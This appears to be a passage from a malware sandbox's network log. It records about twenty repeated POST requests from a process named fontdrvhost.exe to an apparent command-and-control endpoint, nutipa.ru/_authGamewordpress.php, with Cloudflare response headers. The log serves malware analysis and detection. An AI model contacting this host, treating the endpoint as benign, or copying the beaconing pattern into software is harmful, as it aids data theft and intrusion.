      server-timing: cfL4;desc="?proto=TCP&rtt=34707&min_rtt=28536&rtt_var=10405&sent=72&recv=67&lost=0&retrans=0&sent_bytes=16846&recv_bytes=28581&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:01 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=puiqpgf%2F5s%2By9WUpYXH44kscukySdzJWGpFcGX1p2%2FG8TyrGWbUumOWFevhDCTyoQcY3u%2FnZLpeH90CCePv6EsTbPfCzkh53tuIlb%2FaRdLtfZAL7hIn%2FVPRISDE%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33457adc4d7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=33406&min_rtt=28536&rtt_var=8132&sent=77&recv=72&lost=0&retrans=0&sent_bytes=17831&recv_bytes=30400&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:03 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gniM9K%2FRWif%2FbHl52DVr0F7NsuEVnw6jXucQbdXzK9Gp%2BVTM7bspTgDdrgFz97hB0RzW9cA4aWvPEFg5VFU%2B5QzUcxm%2F6W%2FcXgyHGNJE6n6ySnM4IhWtfqU%2ByN0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33458218cd7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=32955&min_rtt=28536&rtt_var=5524&sent=82&recv=76&lost=0&retrans=0&sent_bytes=18813&recv_bytes=32219&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:04 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TdAZrnhPn8suIqnuYq3OHSpjbC32%2FH3971CFy04%2BKFItJg3Q1VJhEZT9Ar%2BYnUJwDS8tRtDNz%2FZrDQZ1FJphL8A1Aome2igtNfGYijCM1lcc4olWD4Fv6e%2B3UoI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345895d077713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31986&min_rtt=28536&rtt_var=4783&sent=86&recv=80&lost=0&retrans=0&sent_bytes=19797&recv_bytes=34038&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:05 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B1qPRTF1Ru9cPBqMfgBHv6bX3ZAN3vcausd7wY%2F1GYGR%2BNOzsrKGj%2FMuAgoc4DFBa%2B1yYl8VDEiT9ygauyotPkWix6OkVepD5rSrLNkE4HrKlKlKIeDFhhbYEBs%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334590a9c37713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=31278&min_rtt=28536&rtt_var=3923&sent=90&recv=84&lost=0&retrans=0&sent_bytes=20777&recv_bytes=35857&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:06 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Huy3RgBreSA7mhmgSvAj7ufoEB%2FUAMEQk3ejI3EULiA%2BpS8Vf5w1lguV57mt%2FZUMV8kP21kvDTuNFo8JzQm0b6ETtqWRlYrV783wesIJ1gw2zS6bglhzDBDd7yo%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f334597ee197713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30757&min_rtt=28536&rtt_var=3105&sent=94&recv=88&lost=0&retrans=0&sent_bytes=21757&recv_bytes=37664&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:07 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lK8l242dfm%2B6auBEvLuRY%2BjNEwkDBDEAQg0L9F9wa4ER6dltuW435ualHDE5MmVb5msBErJ9z7JxgOtBDqWpNybP3IoAoZEs5rFjhhl5HwQvdEbItggK60wolzI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f33459f1b217713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30434&min_rtt=28536&rtt_var=2320&sent=98&recv=92&lost=0&retrans=0&sent_bytes=22733&recv_bytes=39483&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:08 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DM%2BmW5NJPDr8XZA14wnvAfvG3a6UUJju8WyydLJEYOHnX%2B7MIXg81szpgJ%2FF67AcWpCJ5iNrwv9xsH6wBVzoJ%2BdazZM7ZPwKQMj%2B1udc9MTEtBP7chvDNmpUVG0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345a658277713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30173&min_rtt=28536&rtt_var=1726&sent=102&recv=96&lost=0&retrans=0&sent_bytes=23707&recv_bytes=41302&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:09 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nZujBOFDSDOPqPQbqGhCrcfCX%2BwwPZ1SEIcfbg2ZY6uHbn9vBQQcjFDAGRfaw3lBALSZNBsjjb5NWpes8q4VlO0wxAOUADsgpeHVUWHtEKHeJulOniSQLy3l0%2Fc%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345ad98aa7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29929&min_rtt=28536&rtt_var=1383&sent=106&recv=100&lost=0&retrans=0&sent_bytes=24688&recv_bytes=43121&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:11 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MdtPHHShX7t6eL9Zs10sK8caxPJof5%2BkDuoA7cfXO0rrL8dIb65OpNS8dbdPx13f8DXBBqwzY3x1XcQF4q%2Fi7b%2B6V%2ByaeIQKbRL%2FPJ%2FO0hWA1qIVXmoj2DkrDGg%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345b4ce167713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29619&min_rtt=28536&rtt_var=1316&sent=110&recv=104&lost=0&retrans=0&sent_bytes=25664&recv_bytes=44940&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:12 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ShuffBpWvv3p1xW0oz1u1yh63CjlCA7xuuSbakGxirzXR23KVDfcRnZ9bGw4vdPjbvgKuZ58rCJt57REaFscXw6K9PIJ78QJqzOVBj935qlYcqVvtZYQ3qQYusQ%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345bc0aa37713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29447&min_rtt=28536&rtt_var=1055&sent=114&recv=108&lost=0&retrans=0&sent_bytes=26648&recv_bytes=46759&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:13 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KKGYmeu5Othxo%2F%2Fjx1hTh5BeJTKCQLH0%2FIl2s8%2B%2BW19jYHHucS%2FsWuHUPtAJbgMRKd5zNFuhyWSlbyUrJCodxypmNurlGPamc3NOsPm%2FfakooZmehGqqFAoXZTI%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345c33fff7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30365&min_rtt=28536&rtt_var=2527&sent=118&recv=112&lost=0&retrans=0&sent_bytes=27620&recv_bytes=48578&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:14 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1uLSIoj0qLZmZhO09gfdmr64ImWCCMr%2FyqoKa%2BMzgJgFvvHwtoxDaJHFXEmmzQk5eD79SlcooYCHHSGXWhTOLKiIhlGwKv%2F50Gd4njUXurcjb%2FVQLifsr9NNETM%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345ca8dd77713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30047&min_rtt=28536&rtt_var=1976&sent=122&recv=116&lost=0&retrans=0&sent_bytes=28606&recv_bytes=50397&delivery_rate=95008&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:15 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rWO0R8pIx97E5mwmxt5OSP%2F3JDbQDQRdFEFZ25PFhkO5m4hzsqDMvf7uXxHndQRRTio0aNTsLqBhI0Cuwp3iZlbds41bvqsT%2BxVMHWxNWxCknUM0GzkMXsWN92A%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345d1cb2a7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=30064&min_rtt=28507&rtt_var=1801&sent=126&recv=120&lost=0&retrans=0&sent_bytes=29586&recv_bytes=52204&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1528
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:16 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=536xgZ85%2B%2F%2B6%2FG6n0i9q95PQhuwj2%2Bm1xigmQBcsuQ22VSEKRxVNRauTChZ9VoYUG6Cq0hd0KPw%2BT6WV5ksnrB%2FOeZDYPdwfcVnymISIwocJpdKkig%2FmI04okhY%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345d908747713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29829&min_rtt=28507&rtt_var=1412&sent=130&recv=124&lost=0&retrans=0&sent_bytes=30562&recv_bytes=54011&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:18 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WGkV0DJ6n45s2Q3ZQ1L%2BNWwScFC%2BrkjHafYZuF%2BAvDxvQqE4oiPIZWdP%2BrJwEnZAESSLvRPvyI26OY0hmh3Sl90NUlu3b%2B6E2ywk6QQYVn0nVmrkw6HjQwTl0DQ%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345e03d787713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29773&min_rtt=28507&rtt_var=990&sent=134&recv=128&lost=0&retrans=0&sent_bytes=31550&recv_bytes=55830&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:19 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xc4nILa3UBwtVjdb2RreGDw8lHa4g12nBnvWwnCErNSo8BbIiDys53kewuzjI3tEIguwLwO6ZZXOCNl4cq9k4NOMWEtU6jHl2ObKRvcceB07X5zaOzJ4EcqB1hA%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345e77b4b7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29943&min_rtt=28507&rtt_var=1210&sent=138&recv=132&lost=0&retrans=0&sent_bytes=32531&recv_bytes=57649&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:20 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AUG3CXlM2HOyXXjvMTsPgP7A7S7QbBWHbb5C0%2Bm57l8yTp2bxLTroiygz6go4tEEG2lMwlQcgSLCzvm%2Fok7C9zl8jVh7Ksearqg4U%2F0F0SKn3xWHUJsPLq1k0B4%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345eecff07713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29659&min_rtt=28507&rtt_var=1174&sent=142&recv=136&lost=0&retrans=0&sent_bytes=33503&recv_bytes=59468&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:21 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2B0SgEOfJhICy8JVXC2s4WiesrGOR1UOaFIsmjor8F1lwiTMu5cTWihnzstHwyjjNcGS5V6aT6qa7sSLr3A7aeYPWSm%2FGR5DWkt8XAwXUaSvs%2Fy6dFPFqFsErk0%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345f60c4f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29485&min_rtt=28507&rtt_var=964&sent=146&recv=140&lost=0&retrans=0&sent_bytes=34481&recv_bytes=61287&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:22 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0QN9mp%2BRR%2Fci9bxYR8BkrJV%2B1XqH8SJSvS4pqp9fEgrJ66l8OSkDABS4eYu67RVV%2F3Ttl5aPd06x%2BFl46oaxPZFtWW8SI05%2BheAKhqV8rHUC9TWGiazAVgUmI7U%3D"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8f3345fd587f7713-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=29276&min_rtt=28507&rtt_var=910&sent=150&recv=144&lost=0&retrans=0&sent_bytes=35458&recv_bytes=63106&delivery_rate=95074&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
    • flag-us
      POST
      http://nutipa.ru/_authGamewordpress.php
      fontdrvhost.exe
      Remote address:
      104.21.64.130:80
      Request
      POST /_authGamewordpress.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
      Host: nutipa.ru
      Content-Length: 1540
      Expect: 100-continue
      Response
      HTTP/1.1 200 OK
      Date: Tue, 17 Dec 2024 01:52:23 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      cf-cache-status: DYNAMIC
